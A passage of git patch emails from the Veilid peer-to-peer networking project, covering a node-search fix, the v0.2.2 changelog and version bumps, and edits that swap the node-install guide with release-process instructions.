eda99bbd47a94c7a57f12d702c20e82036660aa3 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sat, 16 Sep 2023 14:57:04 -0400 Subject: [PATCH 36/47] node search fix --- .../src/network_manager/network_connection.rs | 2 +- veilid-core/src/rpc_processor/mod.rs | 13 +++---------- veilid-core/src/veilid_api/debug.rs | 3 +++ 3 files changed, 7 insertions(+), 11 deletions(-) diff --git a/veilid-core/src/network_manager/network_connection.rs b/veilid-core/src/network_manager/network_connection.rs index 0b73bc6c..59f1a018 100644 --- a/veilid-core/src/network_manager/network_connection.rs +++ b/veilid-core/src/network_manager/network_connection.rs @@ -404,7 +404,7 @@ impl NetworkConnection { } pub fn debug_print(&self, cur_ts: Timestamp) -> String { - format!("{} <- {} | {:x} | est {} sent {} rcvd {}", + format!("{} <- {} | {} | est {} sent {} rcvd {}", self.descriptor.remote_address(), self.descriptor.local().map(|x| x.to_string()).unwrap_or("---".to_owned()), self.connection_id.as_u64(), diff --git a/veilid-core/src/rpc_processor/mod.rs b/veilid-core/src/rpc_processor/mod.rs index 63510ab0..fbcf2bf2 100644 --- a/veilid-core/src/rpc_processor/mod.rs +++ b/veilid-core/src/rpc_processor/mod.rs @@ -453,9 +453,9 @@ impl RPCProcessor { ////////////////////////////////////////////////////////////////////// - /// Search the DHT for a single node and add it to the routing table and return the node reference + /// Search the network for a single node and add it to the routing table and return the node reference /// If no node was found in the timeout, this returns None - async fn search_dht_single_key( + async fn search_for_node_id( &self, node_id: TypedKey, count: usize, @@ -561,7 +561,7 @@ impl RPCProcessor { // Search in preferred cryptosystem order let nr = match this - .search_dht_single_key(node_id, node_count, fanout, timeout, safety_selection) + .search_for_node_id(node_id, node_count, fanout, timeout, safety_selection) .await { TimeoutOr::Timeout => None, @@ -571,13 +571,6 @@ impl RPCProcessor { } }; - if let Some(nr) = &nr { - if nr.node_ids().contains(&node_id) { - // found a close node, but not exact within our configured resolve_node timeout - return Ok(None); - } - } - Ok(nr) }) } diff --git a/veilid-core/src/veilid_api/debug.rs b/veilid-core/src/veilid_api/debug.rs index e0d05661..5d633868 100644 --- a/veilid-core/src/veilid_api/debug.rs +++ b/veilid-core/src/veilid_api/debug.rs @@ -1661,6 +1661,7 @@ attach detach restart network contact [] +resolve ping appmessage appcall @@ -1748,6 +1749,8 @@ record list self.debug_app_call(rest).await } else if arg == "appreply" { self.debug_app_reply(rest).await + } else if arg == "resolve" { + self.debug_resolve(rest).await } else if arg == "contact" { self.debug_contact(rest).await } else if arg == "nodeinfo" { From 1ea0ecce87e65ce73b49f4b7b72364c53fc52196 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sat, 16 Sep 2023 16:59:54 -0400 Subject: [PATCH 37/47] changelog for v0.2.2 --- CHANGELOG.md | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 716d1ac8..442ae308 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,3 +1,15 @@ +**Changed in Veilid 0.2.2** +- Capnproto 1.0.1 + Protobuf 24.3 +- DHT set/get correctness fixes +- Connection table fixes +- Node resolution fixes +- More debugging commands (appmessage, appcall, resolve, better nodeinfo, etc) +- Reverse connect for WASM nodes +- Better Typescript types for WASM +- Various script and environment cleanups +- Earthly build for aarch64 RPM +- Much improved and faster public address detection + **Changes in Veilid 0.2.1** - Crates are separated and publishable - First publication of veilid-core with docs to crates.io and docs.rs From 06c0abead8794126c03bdbdc1d800274eb919d53 Mon Sep 17 00:00:00 2001 From: TC Johnson Date: Sat, 16 Sep 2023 17:32:16 -0500 Subject: [PATCH 38/47] =?UTF-8?q?Version=20update:=20v0.2.1=20=E2=86=92=20?= =?UTF-8?q?v0.2.2?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .bumpversion.cfg | 2 +- Cargo.lock | 62 +++++++++++++++++----------------- veilid-cli/Cargo.toml | 4 +-- veilid-core/Cargo.toml | 6 ++-- veilid-flutter/pubspec.yaml | 2 +- veilid-flutter/rust/Cargo.toml | 2 +- veilid-python/pyproject.toml | 2 +- veilid-server/Cargo.toml | 2 +- veilid-tools/Cargo.toml | 2 +- veilid-wasm/Cargo.toml | 4 +-- 10 files changed, 44 insertions(+), 44 deletions(-) diff --git a/.bumpversion.cfg b/.bumpversion.cfg index 824c0b03..89f06175 100644 --- a/.bumpversion.cfg +++ b/.bumpversion.cfg @@ -1,5 +1,5 @@ [bumpversion] -current_version = 0.2.1 +current_version = 0.2.2 [bumpversion:file:veilid-server/Cargo.toml] search = name = "veilid-server" diff --git a/Cargo.lock b/Cargo.lock index 4ad66551..dab2186e 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -430,7 +430,7 @@ checksum = "16e62a023e7c117e27523144c5d2459f4397fcc3cab0085af8e2224f643a0193" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -461,7 +461,7 @@ checksum = "bc00ceb34980c03614e35a3a4e218276a0a824e911d07651cd0d858a51e8c0f0" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -730,7 +730,7 @@ checksum = "e0b121a9fe0df916e362fb3271088d071159cdf11db0e4182d02152850756eff" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -1006,7 +1006,7 @@ dependencies = [ "heck", "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -1406,7 +1406,7 @@ checksum = "83fdaf97f4804dcebfa5862639bc9ce4121e82140bec2a987ac5140294865b5b" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -1462,7 +1462,7 @@ dependencies = [ "ident_case", "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -1484,7 +1484,7 @@ checksum = "836a9bbc7ad63342d6d6e7b815ccab164bc77a2d95d84bc3117a8c0d5c98e2d5" dependencies = [ "darling_core 0.20.3", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -1672,7 +1672,7 @@ checksum = "04d0b288e3bb1d861c4403c1774a6f7a798781dfc519b3647df2a3dd4ae95f25" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -1715,7 +1715,7 @@ dependencies = [ "darling 0.20.3", "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -2009,7 +2009,7 @@ checksum = "89ca545a94061b6365f2c7355b4b32bd20df3ff95f02da9329b34ccc3bd6ee72" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -3650,7 +3650,7 @@ dependencies = [ "pest_meta", "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -3721,7 +3721,7 @@ checksum = "4359fd9c9171ec6e8c62926d6faaf553a8dc3f64e1507e76da7911b4f6a04405" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -4417,7 +4417,7 @@ checksum = "4eca7ac642d82aa35b60049a6eccb4be6be75e599bd2e9adb5f875a737654af2" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -4439,7 +4439,7 @@ checksum = "e578a843d40b4189a4d66bba51d7684f57da5bd7c304c64e14bd63efbef49509" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -4461,7 +4461,7 @@ checksum = "8725e1dfadb3a50f7e5ce0b1a540466f6ed3fe7a0fca2ac2b8b831d31316bd00" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -4533,7 +4533,7 @@ checksum = "91d129178576168c589c9ec973feedf7d3126c01ac2bf08795109aa35b69fb8f" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -4810,9 +4810,9 @@ dependencies = [ [[package]] name = "syn" -version = "2.0.35" +version = "2.0.36" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "59bf04c28bee9043ed9ea1e41afc0552288d3aba9c6efdd78903b802926f4879" +checksum = "91e02e55d62894af2a08aca894c6577281f76769ba47c94d5756bec8ac6e7373" dependencies = [ "proc-macro2", "quote", @@ -4897,7 +4897,7 @@ checksum = "49922ecae66cc8a249b77e68d1d0623c1b2c514f0060c27cdc68bd62a1219d35" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -5004,7 +5004,7 @@ checksum = "630bdcf245f78637c13ec01ffae6187cca34625e8c63150d424b59e55af2675e" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -5213,7 +5213,7 @@ checksum = "5f4f31f56159e98206da9efd823404b79b6ef3143b4a7ab76e67b1751b25a4ab" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -5411,7 +5411,7 @@ dependencies = [ "proc-macro2", "quote", "serde_derive_internals 0.28.0", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -5580,7 +5580,7 @@ checksum = "a9ee584edf237fac328b891dd06c21e7914a1db3762907edc366a13803451fe3" [[package]] name = "veilid-cli" -version = "0.2.1" +version = "0.2.2" dependencies = [ "arboard", "async-std", @@ -5616,7 +5616,7 @@ dependencies = [ [[package]] name = "veilid-core" -version = "0.2.1" +version = "0.2.2" dependencies = [ "argon2", "async-io", @@ -5722,7 +5722,7 @@ dependencies = [ [[package]] name = "veilid-flutter" -version = "0.2.1" +version = "0.2.2" dependencies = [ "allo-isolate", "async-std", @@ -5774,7 +5774,7 @@ dependencies = [ [[package]] name = "veilid-server" -version = "0.2.1" +version = "0.2.2" dependencies = [ "ansi_term", "async-std", @@ -5824,7 +5824,7 @@ dependencies = [ [[package]] name = "veilid-tools" -version = "0.2.1" +version = "0.2.2" dependencies = [ "android_logger 0.13.3", "async-lock", @@ -5876,7 +5876,7 @@ dependencies = [ [[package]] name = "veilid-wasm" -version = "0.2.1" +version = "0.2.2" dependencies = [ "cfg-if 1.0.0", "console_error_panic_hook", @@ -5973,7 +5973,7 @@ dependencies = [ "once_cell", "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", "wasm-bindgen-shared", ] @@ -6007,7 +6007,7 @@ checksum = "54681b18a46765f095758388f2d0cf16eb8d4169b639ab575a8f5693af210c7b" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", "wasm-bindgen-backend", "wasm-bindgen-shared", ] @@ -6522,7 +6522,7 @@ checksum = "ce36e65b0d2999d2aafac989fb249189a141aee1f53c612c1f37d72631959f69" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] diff --git a/veilid-cli/Cargo.toml b/veilid-cli/Cargo.toml index a3b39d02..4e887b37 100644 --- a/veilid-cli/Cargo.toml +++ b/veilid-cli/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-cli" -version = "0.2.1" +version = "0.2.2" # --- authors = ["Veilid Team "] edition = "2021" @@ -54,7 +54,7 @@ flexi_logger = { version = "^0", features = ["use_chrono_for_offset"] } thiserror = "^1" crossbeam-channel = "^0" hex = "^0" -veilid-tools = { version = "0.2.1", path = "../veilid-tools" } +veilid-tools = { version = "0.2.2", path = "../veilid-tools" } json = "^0" stop-token = { version = "^0", default-features = false } diff --git a/veilid-core/Cargo.toml b/veilid-core/Cargo.toml index c4d5d338..cb77a8dc 100644 --- a/veilid-core/Cargo.toml +++ b/veilid-core/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-core" -version = "0.2.1" +version = "0.2.2" # --- description = "Core library used to create a Veilid node and operate it as part of an application" authors = ["Veilid Team "] @@ -59,7 +59,7 @@ network-result-extra = ["veilid-tools/network-result-extra"] [dependencies] # Tools -veilid-tools = { version = "0.2.1", path = "../veilid-tools", features = [ +veilid-tools = { version = "0.2.2", path = "../veilid-tools", features = [ "tracing", ], default-features = false } paste = "1.0.14" @@ -182,7 +182,7 @@ socket2 = { version = "0.5.3", features = ["all"] } # Dependencies for WASM builds only [target.'cfg(target_arch = "wasm32")'.dependencies] -veilid-tools = { version = "0.2.1", path = "../veilid-tools", default-features = false, features = [ +veilid-tools = { version = "0.2.2", path = "../veilid-tools", default-features = false, features = [ "rt-wasm-bindgen", ] } diff --git a/veilid-flutter/pubspec.yaml b/veilid-flutter/pubspec.yaml index afda391d..edaf48c6 100644 --- a/veilid-flutter/pubspec.yaml +++ b/veilid-flutter/pubspec.yaml @@ -1,6 +1,6 @@ # --- Bumpversion match - do not reorder name: veilid -version: 0.2.1 +version: 0.2.2 # --- description: Veilid Framework homepage: https://veilid.com diff --git a/veilid-flutter/rust/Cargo.toml b/veilid-flutter/rust/Cargo.toml index df806257..821e7978 100644 --- a/veilid-flutter/rust/Cargo.toml +++ b/veilid-flutter/rust/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-flutter" -version = "0.2.1" +version = "0.2.2" # --- authors = ["Veilid Team "] license = "MPL-2.0" diff --git a/veilid-python/pyproject.toml b/veilid-python/pyproject.toml index 19a71176..a6a96c53 100644 --- a/veilid-python/pyproject.toml +++ b/veilid-python/pyproject.toml @@ -1,7 +1,7 @@ [tool.poetry] # --- Bumpversion match - do not reorder name = "veilid" -version = "0.2.1" +version = "0.2.2" # --- description = "" authors = ["Veilid Team "] diff --git a/veilid-server/Cargo.toml b/veilid-server/Cargo.toml index 66ea0b0c..028b289e 100644 --- a/veilid-server/Cargo.toml +++ b/veilid-server/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-server" -version = "0.2.1" +version = "0.2.2" # --- description = "Veilid Server" authors = ["Veilid Team "] diff --git a/veilid-tools/Cargo.toml b/veilid-tools/Cargo.toml index e9333b9e..726826a1 100644 --- a/veilid-tools/Cargo.toml +++ b/veilid-tools/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-tools" -version = "0.2.1" +version = "0.2.2" # --- description = "A collection of baseline tools for Rust development use by Veilid and Veilid-enabled Rust applications" authors = ["Veilid Team "] diff --git a/veilid-wasm/Cargo.toml b/veilid-wasm/Cargo.toml index 2abb4c45..87801681 100644 --- a/veilid-wasm/Cargo.toml +++ b/veilid-wasm/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-wasm" -version = "0.2.1" +version = "0.2.2" # --- authors = ["Veilid Team "] license = "MPL-2.0" @@ -15,7 +15,7 @@ default = ["veilid-core/default-wasm"] crypto-test = ["veilid-core/crypto-test"] [dependencies] -veilid-core = { version = "0.2.1", path = "../veilid-core", default-features = false } +veilid-core = { version = "0.2.2", path = "../veilid-core", default-features = false } tracing = { version = "^0", features = ["log", "attributes"] } tracing-wasm = "^0" From bcd99580cebddda0244cadae2cbece77f27e4936 Mon Sep 17 00:00:00 2001 From: John Smith Date: Sat, 16 Sep 2023 19:58:04 -0400 Subject: [PATCH 39/47] ensure resolver version is set for workspace for newer rust to suppress warnings --- Cargo.toml | 1 + 1 file changed, 1 insertion(+) diff --git a/Cargo.toml b/Cargo.toml index 61d53ad7..21cb31de 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -8,6 +8,7 @@ members = [ "veilid-wasm", ] exclude = ["./external"] +resolver = "2" [patch.crates-io] cursive = { git = "https://gitlab.com/veilid/cursive.git" } From 4485e4d51d79b1e2e82009d580dca5720713377f Mon Sep 17 00:00:00 2001 From: TC Johnson Date: Sat, 16 Sep 2023 19:08:45 -0500 Subject: [PATCH 40/47] Update releasing instructions Added steps for publishing to crates.io --- INSTALL.md | 178 ++++++++++++++++++++++++++++++++++------------------- 1 file changed, 113 insertions(+), 65 deletions(-) diff --git a/INSTALL.md b/INSTALL.md index cc574352..5b5085a6 100644 --- a/INSTALL.md +++ b/INSTALL.md @@ -1,99 +1,147 @@ -# Install and run a Veilid Node +# Veilid Release Process -## Server Grade Headless Nodes +## Introduction -These network support nodes are heavier than the node a user would establish on their phone in the form of a chat or social media application. A cloud based virtual private server (VPS), such as Digital Ocean Droplets or AWS EC2, with high bandwidth, processing resources, and uptime availability is crucial for building the fast, secure, and private routing that Veilid is built to provide. +This guide outlines the process for releasing a new version of Veilid. The end result is an update of the package repositories and Pypi. -## Install +## Create a Gitlab Release -### Debian +Releases happen via a CI/CD pipeline. The release process flows as follows: -Follow the steps here to add the repo to a Debian based system and install Veilid. +1. Complete outstanding merge requests (MR): -**Step 1**: Add the GPG keys to your operating systems keyring.
-*Explanation*: The `wget` command downloads the public key, and the `sudo gpg` command adds the public key to the keyring. + 1.1 Evaluate the MR's adherence to the published requirements and if automatic tests passed. -```shell -wget -O- https://packages.veilid.net/gpg/veilid-packages-key.public | sudo gpg --dearmor -o /usr/share/keyrings/veilid-packages-keyring.gpg -``` + 1.2 (Optional) Perform the merge in a local dev environment if testing is required beyond the standard Earthly tests. -**Step 2**: Identify your architecture
-*Explanation*: The following command will tell you what type of CPU your system is running + 1.3 If everything checks out, MR meets the published requirements, and tests passed, execute the merge functions in the Gitlab UI. -```shell -dpkg --print-architecture -``` +2. Maintainer performs version bump: -**Step 3**: Add Veilid to your list of available software.
-*Explanation*: Use the result of your command in **Step 2** and run **one** of the following: + 2.1 Update your local copy of `main` to mirror the newly merged upstream `main` -- For **AMD64** based systems run this command: + 2.2 Ensure the [CHANGELOG](./CHANGELOG.md) is updated - ```shell - echo "deb [arch=amd64 signed-by=/usr/share/keyrings/veilid-packages-keyring.gpg] https://packages.veilid.net/apt stable main" | sudo tee /etc/apt/sources.list.d/veilid.list 1>/dev/null - ``` + 2.3 Activate your bumpversion Python venv (see bumpversion setup section for details) -- For **ARM64** based systems run this command: + 2.4 Execute version_bump.sh with the appropriate parameter (patch, minor, or major). This results in all version entries being updated and a matching git tag created locally. - ```shell - echo "deb [arch=arm64 signed-by=/usr/share/keyrings/veilid-packages-keyring.gpg] https://packages.veilid.net/apt stable main" | sudo tee /etc/apt/sources.list.d/veilid.list 1>/dev/null - ``` + 2.5 Add all changes `git add *` -*Explanation*: -Each of the above commands will create a new file called `veilid.list` in the `/etc/apt/sources.list.d/`. This file contains instructions that tell the operating system where to download Veilid. + 2.6 Git commit the changes with the following message: `Version update: v{current_version} → v{new_version}` -**Step 4**: Refresh the package manager.
-*Explanation*: This tells the `apt` package manager to rebuild the list of available software using the files in `/etc/apt/sources.list.d/` directory. + 2.7 Create the Git tag `git tag v{new_version}` -```shell -sudo apt update -``` + 2.8 Push your local 'main' to the upstream origin 'main' `git push` -**Step 5**: Install Veilid. + 2.9 Push the new tag to the upstream origin `git push origin {tag name made in step 2.7}` i.e. `git push origin v0.1.5` -```shell -sudo apt install veilid-server veilid-cli -``` + 2.10 Ensure the package/release/distribute pipeline autostarted in the Gitlab UI -### RPM-based +Git tags serve as a historical record of what repo versions were successfully released at which version numbers. -Follow the steps here to add the repo to -RPM-based systems (CentOS, Rocky Linux, AlmaLinux, Fedora, etc.) -and install Veilid. +## Publish to crates.io -**Step 1**: Add Veilid to your list of available software. +1. Configure the crates.io credentials, if not already accomplished. +2. Execute `cargo publish -p veilid-tools --dry-run` +3. Execute `cargo publish -p veilid-tools` +4. Execute `cargo publish -p veilid-core --dry-run` +5. Execute `cargo publish -p veilid-core` -```shell -sudo yum-config-manager --add-repo https://packages.veilid.net/rpm/veilid-rpm-repo.repo -``` -**Step 2**: Install Veilid. +## Publish to Pypi -```shell -sudo dnf install veilid-server veilid-cli -``` +1. Change directory to veilid-python +2. Install Poetry and configure the Pypi credentials, if not already accomplished. +3. Execute `poetry build` +4. Execute `poetry publish` -## Start headless node +## Reverting Releases -### With systemd +Occasionally a release will happen that needs to be reverted. This is done manually on `crates.io` or the APT repository, or wherever the artifacts end up. Tags are not removed. -To start a headless Veilid node, run: +## Released Artifacts -```shell -sudo systemctl start veilid-server.service -``` +### Rust Crates -To have your headless Veilid node start at boot: +- [x] __veilid-tools__ [__Tag__: `veilid-tools-v0.0.0`] + > An assortment of useful components used by the other Veilid crates. + > Released to crates.io when its version number is changed in `Cargo.toml` +- [x] __veilid-core__ [__Tag__: `veilid-core-v0.0.0`] + > The base rust crate for Veilid's logic + > Released to crates.io when its version number is changed in `Cargo.toml` +- [ ] __veilid-server__ + > The Veilid headless node end-user application + > Not released to crates.io as it is an application binary that is either built by hand or installed using a package manager. + > This application does not currently support `cargo install` +- [ ] __veilid-cli__ A text user interface to talk to veilid-server and operate it manually + > Not released to crates.io as it is an application binary that is either built by hand or installed using a package manager. + > This application does not currently support `cargo install` +- [ ] __veilid-wasm__ + > Not released to crates.io as it is not a library that can be linked by other Rust applications +- [ ] __veilid-flutter__ + > The Dart-FFI native interface to the Veilid API + > This is currently built by the Flutter plugin `veilid-flutter` and not released. -```shell -sudo systemctl enable --now veilid-server.service -``` +### Python Packages -### Without systemd +- [x] __veilid-python__ [__Tag__: `veilid-python-v0.0.0`] + > The Veilid API bindings for Python + > Released to PyPi when the version number is changed in `pyproject.toml` + +### Flutter Plugins -`veilid-server` must be run as the `veilid` user. +- [ ] __veilid-flutter__ + > The Flutter plugin for the Veilid API. + > Because this requires a build of a native Rust crate, this is not yet released via + > TODO: Eventually the rust crate should be bound to -To start your headless Veilid node without systemd, run: +### Operating System Packages -```shell -sudo -u veilid veilid-server -``` +- [x] __veilid-server__ DEB package [__Tag__: `veilid-server-deb-v0.0.0`] + > The Veilid headless node binary in the following formats: + > + > - Standalone Debian/Ubuntu DEB file as a 'release file' on the `veilid` GitLab repository + > - Pushed to APT repository at + > +- [x] __veilid-server__ RPM package [__Tag__: `veilid-server-rpm-v0.0.0`] + > The Veilid headless node binary in the following formats: + > + > - Standalone RedHat/CentOS RPM file as a 'release file' on the `veilid` GitLab repository + > - Pushed to Yum repository at + > +- [x] __veilid-cli__ DEB package [__Tag__: `veilid-cli-deb-v0.0.0`] + > The Veilid headless node administrator control binary in the following formats: + > + > - Standalone Debian/Ubuntu DEB file as a 'release file' on the `veilid` GitLab repository + > - Pushed to APT repository at + > +- [x] __veilid-cli__ RPM package [__Tag__: `veilid-cli-rpm-v0.0.0`] + > The Veilid headless node administrator control binary in the following formats: + > + > - Standalone RedHat/CentOS RPM file as a 'release file' on the `veilid` GitLab repository + > - Pushed to Yum repository at + +### Version Numbering + +All versions of Veilid Rust crates as well as `veilid-python` and `veilid-flutter` packages are versioned using Semver. Versions can differ per crate and package, and it is important for the Semver rules to be followed (): + +- MAJOR version when you make incompatible API changes +- MINOR version when you add functionality in a backward compatible manner +- PATCH version when you make backward compatible bug fixes + +The `version_bump.sh` script should be run on every release to stable. All of the Rust crates are versioned together and should have the same version, as well as the `veilid-python` Python package and `veilid-flutter` Flutter plugin. + +## Bumpversion Setup and Usage + +### Install Bumpversion + +1. Create a Python venv for bumpversion.py. Mine is in my home dir so it persists when I update my local Veilid `main`. + + `python3 -m venv ~/bumpversion-venv` +2. Activate the venv. `source ~/bumpversion-venv/bin/activate` +3. Install bumpversion. `pip3 install bumpversion` + +### Activate venv for version bumping step of the release process + +1. Activate the venv. `source ~/bumpversion-venv/bin/activate` +2. Return to step 2.4 of _Create a Gitlab Release_ From 91b7130fae325e9937d9f121d574c078d8651c7a Mon Sep 17 00:00:00 2001 From: TC Johnson Date: Sat, 16 Sep 2023 19:11:53 -0500 Subject: [PATCH 41/47] Update releasing instructions Added steps to publish to crates.io --- INSTALL.md | 178 +++++++++++++++++++-------------------------------- RELEASING.md | 8 +++ 2 files changed, 73 insertions(+), 113 deletions(-) diff --git a/INSTALL.md b/INSTALL.md index 5b5085a6..cc574352 100644 --- a/INSTALL.md +++ b/INSTALL.md @@ -1,147 +1,99 @@ -# Veilid Release Process +# Install and run a Veilid Node -## Introduction +## Server Grade Headless Nodes -This guide outlines the process for releasing a new version of Veilid. The end result is an update of the package repositories and Pypi. +These network support nodes are heavier than the node a user would establish on their phone in the form of a chat or social media application. A cloud based virtual private server (VPS), such as Digital Ocean Droplets or AWS EC2, with high bandwidth, processing resources, and uptime availability is crucial for building the fast, secure, and private routing that Veilid is built to provide. -## Create a Gitlab Release +## Install -Releases happen via a CI/CD pipeline. The release process flows as follows: +### Debian -1. Complete outstanding merge requests (MR): +Follow the steps here to add the repo to a Debian based system and install Veilid. - 1.1 Evaluate the MR's adherence to the published requirements and if automatic tests passed. +**Step 1**: Add the GPG keys to your operating systems keyring.
+*Explanation*: The `wget` command downloads the public key, and the `sudo gpg` command adds the public key to the keyring. - 1.2 (Optional) Perform the merge in a local dev environment if testing is required beyond the standard Earthly tests. +```shell +wget -O- https://packages.veilid.net/gpg/veilid-packages-key.public | sudo gpg --dearmor -o /usr/share/keyrings/veilid-packages-keyring.gpg +``` - 1.3 If everything checks out, MR meets the published requirements, and tests passed, execute the merge functions in the Gitlab UI. +**Step 2**: Identify your architecture
+*Explanation*: The following command will tell you what type of CPU your system is running -2. Maintainer performs version bump: +```shell +dpkg --print-architecture +``` - 2.1 Update your local copy of `main` to mirror the newly merged upstream `main` +**Step 3**: Add Veilid to your list of available software.
+*Explanation*: Use the result of your command in **Step 2** and run **one** of the following: - 2.2 Ensure the [CHANGELOG](./CHANGELOG.md) is updated +- For **AMD64** based systems run this command: - 2.3 Activate your bumpversion Python venv (see bumpversion setup section for details) + ```shell + echo "deb [arch=amd64 signed-by=/usr/share/keyrings/veilid-packages-keyring.gpg] https://packages.veilid.net/apt stable main" | sudo tee /etc/apt/sources.list.d/veilid.list 1>/dev/null + ``` - 2.4 Execute version_bump.sh with the appropriate parameter (patch, minor, or major). This results in all version entries being updated and a matching git tag created locally. +- For **ARM64** based systems run this command: - 2.5 Add all changes `git add *` + ```shell + echo "deb [arch=arm64 signed-by=/usr/share/keyrings/veilid-packages-keyring.gpg] https://packages.veilid.net/apt stable main" | sudo tee /etc/apt/sources.list.d/veilid.list 1>/dev/null + ``` - 2.6 Git commit the changes with the following message: `Version update: v{current_version} → v{new_version}` +*Explanation*: +Each of the above commands will create a new file called `veilid.list` in the `/etc/apt/sources.list.d/`. This file contains instructions that tell the operating system where to download Veilid. - 2.7 Create the Git tag `git tag v{new_version}` +**Step 4**: Refresh the package manager.
+*Explanation*: This tells the `apt` package manager to rebuild the list of available software using the files in `/etc/apt/sources.list.d/` directory. - 2.8 Push your local 'main' to the upstream origin 'main' `git push` +```shell +sudo apt update +``` - 2.9 Push the new tag to the upstream origin `git push origin {tag name made in step 2.7}` i.e. `git push origin v0.1.5` +**Step 5**: Install Veilid. - 2.10 Ensure the package/release/distribute pipeline autostarted in the Gitlab UI +```shell +sudo apt install veilid-server veilid-cli +``` -Git tags serve as a historical record of what repo versions were successfully released at which version numbers. +### RPM-based -## Publish to crates.io +Follow the steps here to add the repo to +RPM-based systems (CentOS, Rocky Linux, AlmaLinux, Fedora, etc.) +and install Veilid. -1. Configure the crates.io credentials, if not already accomplished. -2. Execute `cargo publish -p veilid-tools --dry-run` -3. Execute `cargo publish -p veilid-tools` -4. Execute `cargo publish -p veilid-core --dry-run` -5. Execute `cargo publish -p veilid-core` +**Step 1**: Add Veilid to your list of available software. -## Publish to Pypi +```shell +sudo yum-config-manager --add-repo https://packages.veilid.net/rpm/veilid-rpm-repo.repo +``` +**Step 2**: Install Veilid. -1. Change directory to veilid-python -2. Install Poetry and configure the Pypi credentials, if not already accomplished. -3. Execute `poetry build` -4. Execute `poetry publish` +```shell +sudo dnf install veilid-server veilid-cli +``` -## Reverting Releases +## Start headless node -Occasionally a release will happen that needs to be reverted. This is done manually on `crates.io` or the APT repository, or wherever the artifacts end up. Tags are not removed. +### With systemd -## Released Artifacts +To start a headless Veilid node, run: -### Rust Crates +```shell +sudo systemctl start veilid-server.service +``` -- [x] __veilid-tools__ [__Tag__: `veilid-tools-v0.0.0`] - > An assortment of useful components used by the other Veilid crates. - > Released to crates.io when its version number is changed in `Cargo.toml` -- [x] __veilid-core__ [__Tag__: `veilid-core-v0.0.0`] - > The base rust crate for Veilid's logic - > Released to crates.io when its version number is changed in `Cargo.toml` -- [ ] __veilid-server__ - > The Veilid headless node end-user application - > Not released to crates.io as it is an application binary that is either built by hand or installed using a package manager. - > This application does not currently support `cargo install` -- [ ] __veilid-cli__ A text user interface to talk to veilid-server and operate it manually - > Not released to crates.io as it is an application binary that is either built by hand or installed using a package manager. - > This application does not currently support `cargo install` -- [ ] __veilid-wasm__ - > Not released to crates.io as it is not a library that can be linked by other Rust applications -- [ ] __veilid-flutter__ - > The Dart-FFI native interface to the Veilid API - > This is currently built by the Flutter plugin `veilid-flutter` and not released. +To have your headless Veilid node start at boot: -### Python Packages +```shell +sudo systemctl enable --now veilid-server.service +``` -- [x] __veilid-python__ [__Tag__: `veilid-python-v0.0.0`] - > The Veilid API bindings for Python - > Released to PyPi when the version number is changed in `pyproject.toml` - -### Flutter Plugins +### Without systemd -- [ ] __veilid-flutter__ - > The Flutter plugin for the Veilid API. - > Because this requires a build of a native Rust crate, this is not yet released via - > TODO: Eventually the rust crate should be bound to +`veilid-server` must be run as the `veilid` user. -### Operating System Packages +To start your headless Veilid node without systemd, run: -- [x] __veilid-server__ DEB package [__Tag__: `veilid-server-deb-v0.0.0`] - > The Veilid headless node binary in the following formats: - > - > - Standalone Debian/Ubuntu DEB file as a 'release file' on the `veilid` GitLab repository - > - Pushed to APT repository at - > -- [x] __veilid-server__ RPM package [__Tag__: `veilid-server-rpm-v0.0.0`] - > The Veilid headless node binary in the following 